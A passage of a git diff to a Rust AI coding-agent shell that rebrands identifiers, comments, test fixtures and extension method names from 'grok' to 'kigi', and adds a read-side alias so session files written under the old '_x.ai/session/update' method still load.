 /// Best-effort worktree liveness touch: stamp `last_accessed_at` on the
-/// worktree containing this session's cwd so `grok worktree gc` expires by
+/// worktree containing this session's cwd so `kigi worktree gc` expires by
 /// last use, not creation time. Lives here — not in a `StorageAdapter` —
 /// so every session create/load path shares it regardless of backend.
 fn spawn_worktree_touch(info: &Info) -> tokio::task::JoinHandle<()> {
@@ -2489,13 +2489,7 @@ mod agent_name_persistence_tests {
 
     #[test]
     fn summary_round_trips_various_agent_names() {
-        for name in [
-            "cursor",
-            "grok-build",
-            "grok-build-plan",
-            "codex",
-            "browser-use",
-        ] {
+        for name in ["cursor", "kigi", "kigi-plan", "codex", "browser-use"] {
             let mut summary = Summary::new(
                 &Info {
                     id: acp::SessionId::new("test"),
@@ -2645,7 +2639,7 @@ mod session_exists_tests {
 
     #[test]
     fn returns_false_when_root_does_not_exist() {
-        let root = std::path::PathBuf::from("/nonexistent/grok/sessions");
+        let root = std::path::PathBuf::from("/nonexistent/kigi/sessions");
         assert!(!session_exists_in_root("any-id", &root));
     }
 
@@ -2722,7 +2716,7 @@ mod find_summary_by_session_id_tests {
             "created_at": "2026-01-01T00:00:00Z",
             "updated_at": "2026-01-01T00:00:00Z",
             "num_messages": 0,
-            "current_model_id": "grok-3",
+            "current_model_id": "kigi-3",
             "head_commit": head_commit,
             "head_branch": head_branch
         })
@@ -2802,7 +2796,7 @@ mod resumed_sandbox_profile_tests {
             "created_at": "2026-01-01T00:00:00Z",
             "updated_at": updated_at,
             "num_messages": 0,
-            "current_model_id": "grok-3",
+            "current_model_id": "kigi-3",
         });
         if let Some(la) = last_active_at {
             summary["last_active_at"] = serde_json::Value::String(la.to_string());
@@ -2873,7 +2867,7 @@ mod resumed_sandbox_profile_tests {
             "created_at": "2026-01-01T00:00:00Z",
             "updated_at": "2026-01-01T00:00:00Z",
             "num_messages": 0,
-            "current_model_id": "grok-3",
+            "current_model_id": "kigi-3",
             "parent_session_id": "remote-xyz",
             "sandbox_profile": "workspace",
         });
@@ -3206,7 +3200,7 @@ mod find_local_child_tests {
         assert!(found.is_none());
     }
 
-    /// Regression: a second `grok -r <remote_id>` must return the existing child
+    /// Regression: a second `kigi -r <remote_id>` must return the existing child
     /// without creating a new restore, not return `None`.
     #[test]
     fn repeated_resume_returns_existing_child() {
@@ -3305,7 +3299,7 @@ mod resolve_local_session_tests {
 
     // resolve_local_session delegates to the same _in_root helpers tested above,
     // so we test the composition logic via the public function indirectly by
-    // setting up the on-disk structures under a fake grok home.
+    // setting up the on-disk structures under a fake kigi home.
     // For unit isolation, we test the equivalent logic via the inner helpers.
 
     fn setup_session(root: &std::path::Path, cwd: &str, session_id: &str) {
diff --git a/crates/codegen/kigi-shell/src/session/plan_mode.rs b/crates/codegen/kigi-shell/src/session/plan_mode.rs
index d69dd0a..43eb62e 100644
--- a/crates/codegen/kigi-shell/src/session/plan_mode.rs
+++ b/crates/codegen/kigi-shell/src/session/plan_mode.rs
@@ -644,7 +644,7 @@ mod tests {
     use kigi_tools::types::template_renderer::TemplateRenderer;
     use kigi_tools::types::tool::ToolKind;
     use std::collections::HashMap;
-    /// Build a test TemplateRenderer with standard Grok Build tool mappings.
+    /// Build a test TemplateRenderer with standard Kigi tool mappings.
     fn test_renderer() -> TemplateRenderer {
         let tools: HashMap<ToolKind, String> = [
             (ToolKind::Edit, "search_replace".to_owned()),
diff --git a/crates/codegen/kigi-shell/src/session/prompt_parser.rs b/crates/codegen/kigi-shell/src/session/prompt_parser.rs
index e904f5e..75452ed 100644
--- a/crates/codegen/kigi-shell/src/session/prompt_parser.rs
+++ b/crates/codegen/kigi-shell/src/session/prompt_parser.rs
@@ -5,13 +5,13 @@ use serde::Deserialize;
 use std::path::PathBuf;
 /// Parsed prompt with context and query kept separate.
 ///
-/// Some templates put `<user_query>` last (context first); Grok puts it first.
+/// Some templates put `<user_query>` last (context first); Kigi puts it first.
 /// Keeping them separate lets the caller truncate context without
 /// searching for the query boundary in a flat string.
 #[derive(Debug, Clone)]
 pub struct ParsedPrompt {
     /// Context blocks: `<attached_files>` payloads and resource-link sections.
-    /// Grok mode may include editor open/focus metadata; the compat mode does not.
+    /// Kigi mode may include editor open/focus metadata; the compat mode does not.
     /// Empty string when there is no context.
     pub context: String,
     /// The user's query, already wrapped in `<user_query>` tags
@@ -45,7 +45,7 @@ impl ParsedPrompt {
     /// Assemble context, query, and skill information into the final message string.
     ///
     /// Layout:
-    /// - **Grok mode:** `<user_query>` + `<skill_information>` + context
+    /// - **Kigi mode:** `<user_query>` + `<skill_information>` + context
     /// - **Query-last mode:** context + `<user_query>` + `<skill_information>`
     ///
     /// The `<skill_information>` block always follows `<user_query>` immediately
@@ -75,7 +75,7 @@ impl ParsedPrompt {
 /// - `<attached_files>` (bare), resource links, then `<user_query>` last
 /// - File references use `<code_selection>` tags
 ///
-/// When `is_cursor` is false, produces original Grok-format output:
+/// When `is_cursor` is false, produces original Kigi-format output:
 /// - `<user_query>` first, then `<system-reminder>` wrapped `<attached_files>` and resource links
 /// - File references use `<file_contents>` tags
 pub async fn parse_prompt(
@@ -203,7 +203,7 @@ Below are some potentially helpful/relevant pieces of information for figuring o
         if !context.is_empty() {
             context.push_str("\n\n");
         }
-        context.push_str(&render_resource_links_grok(resource_links));
+        context.push_str(&render_resource_links_kigi(resource_links));
     }
     (context, query)
 }
@@ -285,9 +285,9 @@ fn render_regular_links(links: &[&acp::ResourceLink]) -> String {
     }
     s.trim_end_matches('\n').to_string()
 }
-/// Grok-format resource links: `<focused_files>` / `<open_files>` with
+/// Kigi-format resource links: `<focused_files>` / `<open_files>` with
 /// metadata inside a `<system-reminder>` wrapper.
-fn render_resource_links_grok(resource_links: &[acp::ResourceLink]) -> String {
+fn render_resource_links_kigi(resource_links: &[acp::ResourceLink]) -> String {
     let mut regular_links = Vec::new();
     let mut focused_files = Vec::new();
     let mut open_files = Vec::new();
@@ -363,8 +363,8 @@ mod tests {
             format!("{query}\n\n{context}")
         }
     }
-    /// Shorthand: render + assemble for grok mode.
-    fn render_grok(
+    /// Shorthand: render + assemble for kigi mode.
+    fn render_kigi(
         message: &str,
         embedded: Vec<String>,
         file_refs: Vec<String>,
@@ -475,13 +475,13 @@ mod tests {
         assert!(parse_editor_meta(&link).is_none());
     }
     #[test]
-    fn test_grok_render_plain_message() {
-        let result = render_grok("hello", vec![], vec![], &[], false);
+    fn test_kigi_render_plain_message() {
+        let result = render_kigi("hello", vec![], vec![], &[], false);
         assert_eq!(result, "<user_query>\nhello\n</user_query>");
     }
     #[test]
-    fn test_grok_render_with_attachments_uses_system_reminder_wrapper() {
-        let result = render_grok(
+    fn test_kigi_render_with_attachments_uses_system_reminder_wrapper() {
+        let result = render_kigi(
             "check this",
             vec!["embedded content".into()],
             vec![],
@@ -496,25 +496,25 @@ mod tests {
         assert!(result.contains("embedded content"));
         assert!(
             result.starts_with("<user_query>"),
-            "Grok should start with <user_query>, got: {result}"
+            "Kigi should start with <user_query>, got: {result}"
         );
     }
     #[test]
-    fn test_grok_render_user_query_first() {
+    fn test_kigi_render_user_query_first() {
         let link = acp::ResourceLink::new("doc.md", "file:///doc.md")
             .title(Some("My Doc".into()))
             .size(Some(1024));
-        let result = render_grok("hello", vec![], vec![], &[link], false);
+        let result = render_kigi("hello", vec![], vec![], &[link], false);
         let uq_pos = result.find("<user_query>").unwrap();
         let rr_pos = result.find("Referenced resources:").unwrap();
         assert!(
             uq_pos < rr_pos,
-            "Grok: <user_query> ({uq_pos}) should come before resource links ({rr_pos})\ngot: {result}"
+            "Kigi: <user_query> ({uq_pos}) should come before resource links ({rr_pos})\ngot: {result}"
         );
         assert!(result.contains("<system-reminder>"));
     }
     #[test]
-    fn test_grok_render_resource_links_use_focused_files_format() {
+    fn test_kigi_render_resource_links_use_focused_files_format() {
         let links = vec![
             acp::ResourceLink::new("main.rs", "file:///project/src/main.rs").meta(
                 serde_json::json!({ "source" : "editor", "fileState" : "focused",
@@ -528,7 +528,7 @@ mod tests {
                     .cloned(),
             ),
         ];
-        let result = render_grok("hello", vec![], vec![], &links, false);
+        let result = render_kigi("hello", vec![], vec![], &links, false);
         assert!(result.contains("<system-reminder>"), "got: {result}");
         assert!(result.contains("<focused_files>"), "got: {result}");
         assert!(result.contains("<open_files>"), "got: {result}");
diff --git a/crates/codegen/kigi-shell/src/session/prompt_queue.rs b/crates/codegen/kigi-shell/src/session/prompt_queue.rs
index 7771cac..e25366e 100644
--- a/crates/codegen/kigi-shell/src/session/prompt_queue.rs
+++ b/crates/codegen/kigi-shell/src/session/prompt_queue.rs
@@ -7,7 +7,7 @@
 pub use kigi_prompt_queue::{QueueChanged, QueueEntryMeta, QueueEntryWire};
 
 // Outbound method for broadcast_queue_changed. An ACP routing concern, not a queue concern.
-pub const QUEUE_CHANGED_METHOD: &str = "x.ai/queue/changed";
+pub const QUEUE_CHANGED_METHOD: &str = "kigi/queue/changed";
 
 #[cfg(test)]
 mod tests {
@@ -20,7 +20,7 @@ mod tests {
             entries: vec![QueueEntryWire {
                 id: "p1".to_string(),
                 version: 0,
-                owner: Some("grok-tui".to_string()),
+                owner: Some("kigi-tui".to_string()),
                 last_editor: None,
                 kind: "prompt".to_string(),
                 text: "hello".to_string(),
@@ -56,14 +56,14 @@ mod tests {
         let entry = QueueEntryWire {
             id: "p1".to_string(),
             version: 3,
-            owner: Some("grok-tui".to_string()),
-            last_editor: Some("grok-vscode".to_string()),
+            owner: Some("kigi-tui".to_string()),
+            last_editor: Some("kigi-vscode".to_string()),
             kind: "prompt".to_string(),
             text: "hello".to_string(),
             position: 0,
         };
         let json = serde_json::to_value(&entry).unwrap();
-        assert_eq!(json["lastEditor"], "grok-vscode");
+        assert_eq!(json["lastEditor"], "kigi-vscode");
         let round: QueueEntryWire = serde_json::from_value(json).unwrap();
         assert_eq!(round, entry);
     }
diff --git a/crates/codegen/kigi-shell/src/session/signals.rs b/crates/codegen/kigi-shell/src/session/signals.rs
index 2a948b1..4b88db2 100644
--- a/crates/codegen/kigi-shell/src/session/signals.rs
+++ b/crates/codegen/kigi-shell/src/session/signals.rs
@@ -280,7 +280,7 @@ pub struct SessionSignals {
     /// Number of edit-and-retry actions (user rewinds and submits a different prompt)
     pub edit_and_retry_count: u32,
 
-    // === Bash tool patterns (grok_build) ===
+    // === Bash tool patterns (kigi) ===
     /// Number of times the bash tool was used for a bare `echo "<msg>"` (or close
     /// variant). Tracked for usage statistics.
     #[serde(default)]
@@ -1928,20 +1928,20 @@ mod tests {
         let actor_handle = tokio::spawn(actor.run());
 
         // Set primary model
-        handle.set_primary_model("grok-3");
+        handle.set_primary_model("kigi-3");
 
         let snapshot = handle.snapshot().await.unwrap();
-        assert_eq!(snapshot.primary_model_id, Some("grok-3".to_string()));
-        assert_eq!(snapshot.models_used, vec!["grok-3".to_string()]);
+        assert_eq!(snapshot.primary_model_id, Some("kigi-3".to_string()));
+        assert_eq!(snapshot.models_used, vec!["kigi-3".to_string()]);
 
         // Record additional model usage
-        handle.record_model_usage("grok-4");
-        handle.record_model_usage("grok-3"); // Duplicate
+        handle.record_model_usage("kigi-4");
+        handle.record_model_usage("kigi-3"); // Duplicate
 
         let snapshot = handle.snapshot().await.unwrap();
         assert_eq!(snapshot.models_used.len(), 2);
-        assert!(snapshot.models_used.contains(&"grok-3".to_string()));
-        assert!(snapshot.models_used.contains(&"grok-4".to_string()));
+        assert!(snapshot.models_used.contains(&"kigi-3".to_string()));
+        assert!(snapshot.models_used.contains(&"kigi-4".to_string()));
 
         handle.shutdown();
         actor_handle.await.unwrap();
@@ -2501,7 +2501,7 @@ mod tests {
                 "bash".to_string(),
                 "search_replace".to_string(),
             ],
-            vec!["grok-3".to_string(), "grok-4".to_string()],
+            vec!["kigi-3".to_string(), "kigi-4".to_string()],
         );
 
         let snapshot = handle.snapshot().await.unwrap();
@@ -2520,21 +2520,21 @@ mod tests {
 
         // Model tracking (newly restored)
         assert_eq!(snapshot.models_used.len(), 2);
-        assert!(snapshot.models_used.contains(&"grok-3".to_string()));
-        assert!(snapshot.models_used.contains(&"grok-4".to_string()));
+        assert!(snapshot.models_used.contains(&"kigi-3".to_string()));
+        assert!(snapshot.models_used.contains(&"kigi-4".to_string()));
 
         // After seeding, new tool calls should accumulate correctly
         handle.record_tool_call("bash"); // existing tool
         handle.record_tool_call("grep"); // new tool
-        handle.record_model_usage("grok-3"); // existing model
-        handle.record_model_usage("grok-4.5"); // new model
+        handle.record_model_usage("kigi-3"); // existing model
+        handle.record_model_usage("kigi-4.5"); // new model
 
         let snapshot = handle.snapshot().await.unwrap();
         assert_eq!(snapshot.tool_call_count, 14); // 12 + 2
         assert_eq!(snapshot.tools_used.len(), 4); // bash not duplicated, grep added
         assert!(snapshot.tools_used.contains(&"grep".to_string()));
-        assert_eq!(snapshot.models_used.len(), 3); // grok-3 not duplicated, grok-5 added
-        assert!(snapshot.models_used.contains(&"grok-4.5".to_string()));
+        assert_eq!(snapshot.models_used.len(), 3); // kigi-3 not duplicated, kigi-5 added
+        assert!(snapshot.models_used.contains(&"kigi-4.5".to_string()));
 
         handle.shutdown();
         actor_handle.await.unwrap();
@@ -2553,7 +2553,7 @@ mod tests {
         handle1.record_tool_failure("bash");
         handle1.record_error();
         handle1.record_assistant_message();
-        handle1.record_model_usage("grok-3");
+        handle1.record_model_usage("kigi-3");
 
         // Record inference metrics with ITL intervals for turn 1
         handle1.record_inference_metrics(InferenceLatencyStats {
@@ -2572,7 +2572,7 @@ mod tests {
         handle1.record_tool_call("search_replace");
         handle1.record_cancellation();
         handle1.record_assistant_message();
-        handle1.record_model_usage("grok-4");
+        handle1.record_model_usage("kigi-4");
 
         handle1.increment_turn(); // turn 3
         handle1.record_tool_call("bash");
@@ -2639,14 +2639,14 @@ mod tests {
         assert!(restored.tools_used.contains(&"read_file".to_string()));
         assert!(restored.tools_used.contains(&"search_replace".to_string()));
         assert_eq!(restored.models_used.len(), 2);
-        assert!(restored.models_used.contains(&"grok-3".to_string()));
-        assert!(restored.models_used.contains(&"grok-4".to_string()));
+        assert!(restored.models_used.contains(&"kigi-3".to_string()));
+        assert!(restored.models_used.contains(&"kigi-4".to_string()));
         assert_eq!(restored.latency_sample_count, 2);
         assert_eq!(restored.avg_time_to_first_token_ms, 150);
         assert_eq!(restored.avg_response_time_ms, 1500);
         assert_eq!(restored.min_time_to_first_token_ms, 100);
         assert_eq!(restored.max_time_to_first_token_ms, 200);
-        // ITL stats must survive the restore (regression test for grok-critique bug)
+        // ITL stats must survive the restore (regression test for kigi-critique bug)
         assert_eq!(
             restored.itl_p50_ms, snapshot.itl_p50_ms,
             "itl_p50_ms should survive restore"
@@ -2669,7 +2669,7 @@ mod tests {
         assert_eq!(restored.itl_sample_count, 1);
 
         // Phase 2b: Take a turn-end snapshot *without* recording new ITL data.
-        // This is the exact scenario the grok-critique bug describes: the
+        // This is the exact scenario the kigi-critique bug describes: the
         // TakeTurnEndSnapshot handler calls update_session_itl_percentiles()
         // which must NOT wipe persisted ITL p50/p99 when itl_digest is None.
         handle2.increment_turn(); // turn 4 (no ITL data recorded this turn)
@@ -2694,7 +2694,7 @@ mod tests {
         handle2.increment_turn(); // turn 5
         handle2.record_tool_call("grep"); // new tool
         handle2.record_tool_call("bash"); // existing tool (should dedup)
-        handle2.record_model_usage("grok-3"); // existing model (should dedup)
+        handle2.record_model_usage("kigi-3"); // existing model (should dedup)
         handle2.record_error();
         handle2.record_assistant_message();
 
@@ -2709,7 +2709,7 @@ mod tests {
         assert_eq!(after_turn.error_count, 3); // 2 + 1
         assert_eq!(after_turn.tools_used.len(), 4); // bash not duplicated, grep added
         assert!(after_turn.tools_used.contains(&"grep".to_string()));
-        assert_eq!(after_turn.models_used.len(), 2); // grok-3 not duplicated
+        assert_eq!(after_turn.models_used.len(), 2); // kigi-3 not duplicated
         // Latency: (100+200+300)/3 = 200
         assert_eq!(after_turn.latency_sample_count, 3);
         assert_eq!(after_turn.avg_time_to_first_token_ms, 200);
diff --git a/crates/codegen/kigi-shell/src/session/slash_commands.rs b/crates/codegen/kigi-shell/src/session/slash_commands.rs
index be1090d..0531515 100644
--- a/crates/codegen/kigi-shell/src/session/slash_commands.rs
+++ b/crates/codegen/kigi-shell/src/session/slash_commands.rs
@@ -534,7 +534,7 @@ pub(crate) fn builtin_commands(availability: CommandAvailability) -> Vec<acp::Av
         .collect()
 }
 
-// ── x.ai/commands/list ext method ────────────────────────────────
+// ── kigi/commands/list ext method ────────────────────────────────
 
 #[derive(serde::Deserialize)]
 pub(crate) struct ListCommandsRequest {
@@ -731,7 +731,7 @@ impl BuiltinAction {
 /// How to rewrite the user's prompt when a slash command resolves to a skill.
 ///
 /// - `RewriteToRun` (default): replace `/foo args` with `"run /foo args"`,
-///   matching today's Grok Build flow that calls our dedicated `skill` tool.
+///   matching today's Kigi flow that calls our dedicated `skill` tool.
 /// - `Passthrough`: leave the prompt verbatim. Some templates use this —
 ///   the model is trained to spot a leading `/<name>`, look it up in the
 ///   `<agent_skills>` listing, and call the Read tool on `fullPath`.
@@ -1081,7 +1081,7 @@ fn parse_slash_prefix(prompt_blocks: &[acp::ContentBlock]) -> Option<(&str, &str
 /// default: the model derives the cadence from the request and asks when none
 /// is given.
 fn build_loop_prompt_blocks(args: &str) -> Vec<acp::ContentBlock> {
-    use kigi_tools::implementations::grok_build::{loop_schedule_instruction, loop_usage_message};
+    use kigi_tools::implementations::kigi::{loop_schedule_instruction, loop_usage_message};
 
     let text = if args.trim().is_empty() {
         loop_usage_message().to_string()
@@ -1685,9 +1685,7 @@ mod tests {
     #[test]
     fn loop_prompt_matches_pager_wording() {
         // The shell and pager must stay textually identical so they don't drift.
-        use kigi_tools::implementations::grok_build::{
-            loop_schedule_instruction, loop_usage_message,
-        };
+        use kigi_tools::implementations::kigi::{loop_schedule_instruction, loop_usage_message};
         assert_eq!(loop_text(""), loop_usage_message());
         assert_eq!(
             loop_text("2h run tests"),
diff --git a/crates/codegen/kigi-shell/src/session/storage/jsonl/mod.rs b/crates/codegen/kigi-shell/src/session/storage/jsonl/mod.rs
index 0b2ed98..c3a6cb8 100644
--- a/crates/codegen/kigi-shell/src/session/storage/jsonl/mod.rs
+++ b/crates/codegen/kigi-shell/src/session/storage/jsonl/mod.rs
@@ -616,7 +616,7 @@ fn transform_session_id_in_update(
 /// 2. Truncates at the last complete turn boundary. A complete turn runs
 ///    `User → Assistant → (matching ToolResults)`, possibly across multiple
 ///    Assistant/ToolResult cycles, with `Reasoning` siblings interleaved
-///    throughout (real grok-build turns emit `[reasoning, assistant, tool
+///    throughout (real kigi turns emit `[reasoning, assistant, tool
 ///    results, reasoning, assistant, ...]`). The scan treats everything
 ///    except `Assistant` as transparent and only advances the boundary when an
 ///    Assistant closes every tool call it made, so it survives reasoning
diff --git a/crates/codegen/kigi-shell/src/session/storage/jsonl/tests.rs b/crates/codegen/kigi-shell/src/session/storage/jsonl/tests.rs
index a52bf13..a30b210 100644
--- a/crates/codegen/kigi-shell/src/session/storage/jsonl/tests.rs
+++ b/crates/codegen/kigi-shell/src/session/storage/jsonl/tests.rs
@@ -121,7 +121,7 @@ async fn test_jsonl_round_trip() {
         .unwrap();
     let plan_state = create_test_plan_state();
     adapter.write_plan_state(&info, &plan_state).await.unwrap();
-    let new_model = acp::ModelId::new("grok-4.3");
+    let new_model = acp::ModelId::new("kigi-4.3");
     adapter.update_current_model(&info, &new_model).await.unwrap();
     let loaded = adapter.load_session(&info).await.unwrap();
     assert_eq!(loaded.summary.info.id, info.id);
@@ -456,12 +456,12 @@ async fn test_subagent_notifications_round_trip() {
         .len()
     );
     let spawned_json: serde_json::Value = serde_json::from_str(lines[0]).unwrap();
-    assert_eq!(spawned_json["method"], "_x.ai/session/update");
+    assert_eq!(spawned_json["method"], "_kigi/session/update");
     let spawned_update = &spawned_json["params"]["update"];
     assert_eq!(spawned_update["sessionUpdate"], "subagent_spawned");
     assert_eq!(spawned_update["subagent_id"], "child-001");
     let finished_json: serde_json::Value = serde_json::from_str(lines[1]).unwrap();
-    assert_eq!(finished_json["method"], "_x.ai/session/update");
+    assert_eq!(finished_json["method"], "_kigi/session/update");
     let finished_update = &finished_json["params"]["update"];
     assert_eq!(finished_update["sessionUpdate"], "subagent_finished");
     assert_eq!(finished_update["tool_calls"], 5);
@@ -742,13 +742,13 @@ async fn test_copy_session_data_with_model_override() {
     };
     let options = CopySessionOptions {
         parent_session_id: Some("source-model-test".to_string()),
-        new_model_id: Some("grok-3".to_string()),
+        new_model_id: Some("kigi-3".to_string()),
         target_prompt_index: None,
         ..Default::default()
     };
     adapter.copy_session_data(&source_info, &target_info, options).await.unwrap();
     let loaded = adapter.load_session(&target_info).await.unwrap();
-    assert_eq!(loaded.summary.current_model_id.0.as_ref(), "grok-3");
+    assert_eq!(loaded.summary.current_model_id.0.as_ref(), "kigi-3");
     assert_eq!(loaded.summary.parent_session_id, Some("source-model-test".to_string()));
 }
 #[tokio::test]
@@ -1108,8 +1108,8 @@ async fn test_append_feedback_creates_file_and_persists() {
             rating_value: Some(1),
             feedback_text: None,
             feedback_categories: vec![],
-            model_id: Some("grok-3-fast".into()),
-            resolved_model_id: Some("grok-4.5".into()),
+            model_id: Some("kigi-3-fast".into()),
+            resolved_model_id: Some("kigi-4.5".into()),
             model_fingerprint: None,
             context_type: None,
             request_id: None,
@@ -1163,7 +1163,7 @@ async fn test_copy_session_data_copies_tool_state() {
         .await
         .unwrap();
     let tool_state_json = serde_json::json!(
-        { "state" : { "grok_build.TodoState" : { "todos" : [] } } }
+        { "state" : { "kigi.TodoState" : { "todos" : [] } } }
     );
     let source_dir = adapter.session_dir(&source_info);
     std::fs::write(
@@ -2250,7 +2250,7 @@ fn load_lines(lines: &[&str]) -> Vec<ConversationItem> {
 }
 /// Real-shape legacy fixture from a web-search session.
 /// The assistant carries `reasoning: { text, encrypted, id }` inline —
-/// the legacy grok-build / Opus / chat-completions shape.
+/// the legacy kigi / Opus / chat-completions shape.
 /// BackendToolCall sits as its own sibling line (it was already a
 /// sibling variant in the legacy shape).
 #[test]
@@ -2260,7 +2260,7 @@ fn read_chat_history_upgrades_legacy_singular_reasoning_to_sibling() {
             r#"{"type":"system","content":"You are helpful."}"#,
             r#"{"type":"user","content":[{"type":"text","text":"cats and dogs"}]}"#,
             r#"{"type":"backend_tool_call","kind":{"tool_type":"web_search","id":"ws_legacy_1","status":"completed","action":{"type":"search","query":"cats and dogs","sources":[]}}}"#,
-            r#"{"type":"assistant","content":"results...","reasoning":{"text":"the results are about cats","encrypted":"enc-blob","id":"rs_legacy"},"model_id":"grok-build"}"#,
+            r#"{"type":"assistant","content":"results...","reasoning":{"text":"the results are about cats","encrypted":"enc-blob","id":"rs_legacy"},"model_id":"kigi"}"#,
         ],
     );
     assert_eq!(
@@ -2336,11 +2336,11 @@ fn read_chat_history_handles_hybrid_legacy_and_post_pr_lines() {
             r#"{"type":"system","content":"sys"}"#,
             r#"{"type":"user","content":[{"type":"text","text":"q1"}]}"#,
             r#"{"type":"backend_tool_call","kind":{"tool_type":"web_search","id":"ws_legacy_1","status":"completed","action":{"type":"search","query":"q1","sources":[]}}}"#,
-            r#"{"type":"assistant","content":"a1","reasoning":{"text":"legacy thinking","encrypted":"enc","id":"rs_legacy"},"model_id":"grok-build"}"#,
+            r#"{"type":"assistant","content":"a1","reasoning":{"text":"legacy thinking","encrypted":"enc","id":"rs_legacy"},"model_id":"kigi"}"#,
             r#"{"type":"user","content":[{"type":"text","text":"q2"}]}"#,
             r#"{"type":"reasoning","id":"rs_postpr","summary":[{"type":"summary_text","text":"new thinking"}]}"#,
             r#"{"type":"backend_tool_call","kind":{"tool_type":"web_search","id":"ws_postpr","status":"completed","action":{"type":"search","query":"q2","sources":[]}}}"#,
-            r#"{"type":"assistant","content":"a2","model_id":"grok-build"}"#,
+            r#"{"type":"assistant","content":"a2","model_id":"kigi"}"#,
         ],
     );
     let kinds: Vec<&'static str> = items
@@ -2381,7 +2381,7 @@ fn read_chat_history_handles_hybrid_legacy_and_post_pr_lines() {
     };
     assert_eq!(legacy_assistant.content.as_ref(), "a1");
     assert_eq!(
-        legacy_assistant.model_id.as_deref(), Some("grok-build"),
+        legacy_assistant.model_id.as_deref(), Some("kigi"),
         "model_id preserved across the upgrade"
     );
     let ConversationItem::Reasoning(reconstructed) = &items[3] else {
@@ -2402,7 +2402,7 @@ fn read_chat_history_is_idempotent_on_post_pr_sessions() {
             r#"{"type":"system","content":"sys"}"#,
             r#"{"type":"user","content":[{"type":"text","text":"q"}]}"#,
             r#"{"type":"reasoning","id":"rs_x","summary":[{"type":"summary_text","text":"thought"}]}"#,
-            r#"{"type":"assistant","content":"a","model_id":"grok-build"}"#,
+            r#"{"type":"assistant","content":"a","model_id":"kigi"}"#,
         ],
     );
     let kinds: Vec<&'static str> = items
@@ -2516,7 +2516,7 @@ fn read_chat_history_skips_merged_line_from_interrupted_append() {
     let good_1 = r#"{"type":"user","content":[{"type":"text","text":"kept"}]}"#;
     let partial = r#"{"type":"assistant","content":"cut mid-wri"#;
     let merged_onto = r#"{"type":"user","content":[{"type":"text","text":"lost"}]}"#;
-    let good_2 = r#"{"type":"assistant","content":"after","model_id":"grok-build"}"#;
+    let good_2 = r#"{"type":"assistant","content":"after","model_id":"kigi"}"#;
     let raw = format!("{good_1}\n{partial}{merged_onto}\n{good_2}\n");
     let temp_dir = TempDir::new().unwrap();
     let (_, _, items) = load_raw_chat(&temp_dir, raw.as_bytes());
diff --git a/crates/codegen/kigi-shell/src/session/storage/mod.rs b/crates/codegen/kigi-shell/src/session/storage/mod.rs
index 48d7c8a..73c2d38 100644
--- a/crates/codegen/kigi-shell/src/session/storage/mod.rs
+++ b/crates/codegen/kigi-shell/src/session/storage/mod.rs
@@ -92,8 +92,22 @@ impl Iterator for UpdatesIterator {
 /// Method name for standard ACP session/update notifications.
 const ACP_SESSION_UPDATE_METHOD: &str = "session/update";
 
-/// Method name for xAI extension session/update notifications.
-pub(crate) const XAI_SESSION_UPDATE_METHOD: &str = "_x.ai/session/update";
+/// Method name for extension session/update notifications.
+pub(crate) const XAI_SESSION_UPDATE_METHOD: &str = "_kigi/session/update";
+
+/// Pre-rebrand spelling of [`XAI_SESSION_UPDATE_METHOD`], as written into
+/// `updates.jsonl` by builds that predate the `kigi/` extension-method
+/// rename. READ-SIDE ALIAS ONLY: parsing accepts both spellings so existing
+/// session files keep loading; the write side always emits
+/// [`XAI_SESSION_UPDATE_METHOD`].
+pub(crate) const LEGACY_XAI_SESSION_UPDATE_METHOD: &str = "_x.ai/session/update";
+
+/// Whether `method` names the extension session-update rail, accepting the
+/// current spelling and the legacy pre-rebrand spelling (persisted session
+/// files written by older builds).
+pub(crate) fn is_ext_session_update_method(method: &str) -> bool {
+    method == XAI_SESSION_UPDATE_METHOD || method == LEGACY_XAI_SESSION_UPDATE_METHOD
+}
 
 /// A unified session update that can be either an ACP notification or an xAI extension notification.
 /// This allows storing all session updates in chronological order.
@@ -153,7 +167,7 @@ pub(crate) struct SessionUpdateEnvelope {
     #[serde(default)]
     pub timestamp: u64,
     /// The method name identifying the update type.
-    /// Either "session/update" for ACP or "_x.ai/session/update" for xAI extensions.
+    /// Either "session/update" for ACP or "_kigi/session/update" for xAI extensions.
     pub method: String,
     /// The actual notification payload.
     pub params: serde_json::Value,
@@ -183,7 +197,7 @@ impl SessionUpdateEnvelope {
 
     /// Convert this envelope back into a SessionUpdate.
     pub(crate) fn into_update(self) -> Result<SessionUpdate, serde_json::Error> {
-        if self.method == XAI_SESSION_UPDATE_METHOD {
+        if is_ext_session_update_method(&self.method) {
             let notification: SessionNotification = serde_json::from_value(self.params)?;
             Ok(SessionUpdate::Xai(Box::new(notification)))
         } else {
@@ -224,7 +238,7 @@ impl SessionUpdateEnvelope {
         // Try to parse as envelope first (has "method" + "params")
         if let Ok(envelope) = serde_json::from_str::<BorrowedEnvelope<'_>>(line) {
             let raw_params = envelope.params.get();
-            return if envelope.method == Some(XAI_SESSION_UPDATE_METHOD) {
+            return if envelope.method.is_some_and(is_ext_session_update_method) {
                 let notification: SessionNotification = serde_json::from_str(raw_params)?;
                 Ok(SessionUpdate::Xai(Box::new(notification)))
             } else {
@@ -774,7 +788,7 @@ pub(crate) fn filter_rewind_lines<'a>(lines: Vec<&'a str>) -> Vec<&'a str> {
     for line in &lines {
         let (raw_params, is_xai) = if let Ok(env) = serde_json::from_str::<RawLinePeek<'_>>(line) {
             let raw = env.params.map(|p| p.get()).unwrap_or(line);
-            let xai = env.method == Some(XAI_SESSION_UPDATE_METHOD);
+            let xai = env.method.is_some_and(is_ext_session_update_method);
             (raw, xai)
         } else {
             (*line, false)
@@ -923,7 +937,7 @@ pub fn load_updates_for_replay(
     load_updates_for_replay_from_dir(&session_dir)
 }
 
-/// Like [`load_updates_for_replay`], but resolves the session under a specific grok home.
+/// Like [`load_updates_for_replay`], but resolves the session under a specific kigi home.
 pub fn load_updates_for_replay_at(
     session_id: &str,
     kigi_home: &std::path::Path,
@@ -1666,7 +1680,7 @@ pub(crate) fn parse_prompt_extract_event(line: &str) -> PromptExtractEvent {
     // Step 1: try to extract the envelope (method + raw params).
     let (raw_params, is_xai) = if let Ok(env) = serde_json::from_str::<RawLinePeek<'_>>(line) {
         let raw = env.params.map(|p| p.get()).unwrap_or(line);
-        let xai = env.method == Some(XAI_SESSION_UPDATE_METHOD);
+        let xai = env.method.is_some_and(is_ext_session_update_method);
         (raw, xai)
     } else {
         // Not a valid envelope → try legacy format: the line IS the params.
@@ -1739,7 +1753,7 @@ mod tests {
     /// Wrap a xAI notification as the envelope stored in updates.jsonl.
     fn xai_envelope(session_update_json: &str) -> String {
         format!(
